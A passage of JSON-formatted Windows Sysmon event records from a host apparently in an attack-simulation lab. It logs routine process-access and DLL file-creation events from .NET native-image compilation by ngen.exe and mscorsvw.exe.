C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:16.151","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4304-5F2D-0000-001018450F00}","TargetProcessId":"4104","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:17","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:16","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":7854,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:03:16.619\r\nProcessGuid: {90617006-4304-5F2D-0000-001018450F00}\r\nProcessId: 4104\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\1008-0\\System.ServiceModel.Channels.dll\r\nCreationUtcTime: 2020-08-07 12:03:16.619","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:03:16.619","ProcessGuid":"{90617006-4304-5F2D-0000-001018450F00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\1008-0\\System.ServiceModel.Channels.dll","CreationUtcTime":"2020-08-07 12:03:16.619","EventReceivedTime":"2020-08-07 12:03:17","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:16","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7855,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:16.683\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4304-5F2D-0000-0010D74B0F00}\r\nTargetProcessId: 4372\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:16.683","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4304-5F2D-0000-0010D74B0F00}","TargetProcessId":"4372","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:17","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:16","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7856,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:16.683\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4304-5F2D-0000-0010D74B0F00}\r\nTargetProcessId: 4372\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:16.683","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4304-5F2D-0000-0010D74B0F00}","TargetProcessId":"4372","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:03:17","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:16","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7857,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:16.697\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4304-5F2D-0000-0010D74B0F00}\r\nTargetProcessId: 4372\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:16.697","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4304-5F2D-0000-0010D74B0F00}","TargetProcessId":"4372","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:17","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:16","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7858,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:16.854\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4304-5F2D-0000-0010AF4F0F00}\r\nTargetProcessId: 4020\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:16.854","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4304-5F2D-0000-0010AF4F0F00}","TargetProcessId":"4020","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:17","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:16","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7859,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:16.854\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4304-5F2D-0000-0010AF4F0F00}\r\nTargetProcessId: 4020\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:16.854","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4304-5F2D-0000-0010AF4F0F00}","TargetProcessId":"4020","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:03:17","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:16","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7860,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:16.869\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4304-5F2D-0000-0010AF4F0F00}\r\nTargetProcessId: 4020\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:16.869","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4304-5F2D-0000-0010AF4F0F00}","TargetProcessId":"4020","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:17","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:17","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":7861,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:03:17.682\r\nProcessGuid: {90617006-4304-5F2D-0000-0010AF4F0F00}\r\nProcessId: 4020\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\fb4-0\\System.ServiceModel.Discovery.dll\r\nCreationUtcTime: 2020-08-07 12:03:17.682","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:03:17.682","ProcessGuid":"{90617006-4304-5F2D-0000-0010AF4F0F00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\fb4-0\\System.ServiceModel.Discovery.dll","CreationUtcTime":"2020-08-07 12:03:17.682","EventReceivedTime":"2020-08-07 12:03:19","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:17","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7862,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:17.810\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4305-5F2D-0000-00109A560F00}\r\nTargetProcessId: 1516\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\n